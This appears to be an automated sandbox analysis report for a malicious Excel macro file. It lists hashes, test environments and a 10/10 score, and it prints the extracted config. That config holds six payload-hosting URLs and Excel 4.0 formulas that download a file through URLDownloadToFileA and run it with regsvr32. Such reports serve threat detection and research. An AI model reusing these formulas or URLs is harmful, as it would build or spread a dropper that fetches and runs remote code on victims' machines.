General
-
Target
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96
-
Size
37KB
-
Sample
241120-1y75bsyper
-
MD5
a5e6b6d30377312f768d1ad659c6d888
-
SHA1
ffcc2c9860522cc486e876c29fc310047cb01819
-
SHA256
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96
-
SHA512
d821b98f330eb8f196294230ae8415efe0dbf09d3fffe58d10ce15abc8ba06594fbf65dc9efcd9004d0e635ba7a14297321113d60a140565d6f38899728b4287
-
SSDEEP
768:m7CkFF/vxL7UD9msu3bm9Y9Z502lkJexn9/Eg00wPYRND/0ZSPo0B5HAVJ:m7Tlxwuaa502Wex9wTsZ/0YBdI
Behavioral task
behavioral1
Sample
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/
http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/
http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/
https://ramijabali.com/licenses/WQu8ZS0qQNGp/
http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/
http://blog.centerking.top/wp-includes/YvwIBPBq/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/WQu8ZS0qQNGp/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/YvwIBPBq/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()
Extracted
http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/
http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/
http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/
https://ramijabali.com/licenses/WQu8ZS0qQNGp/
http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/
http://blog.centerking.top/wp-includes/YvwIBPBq/
Targets
-
-
Target
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96
-
Size
37KB
-
MD5
a5e6b6d30377312f768d1ad659c6d888
-
SHA1
ffcc2c9860522cc486e876c29fc310047cb01819
-
SHA256
8f15afea6b63694759adc0eb12f7d327a214fb0953be8a5a60eebf206de0cd96
-
SHA512
d821b98f330eb8f196294230ae8415efe0dbf09d3fffe58d10ce15abc8ba06594fbf65dc9efcd9004d0e635ba7a14297321113d60a140565d6f38899728b4287
-
SSDEEP
768:m7CkFF/vxL7UD9msu3bm9Y9Z502lkJexn9/Eg00wPYRND/0ZSPo0B5HAVJ:m7Tlxwuaa502Wex9wTsZ/0YBdI
Score10/10 -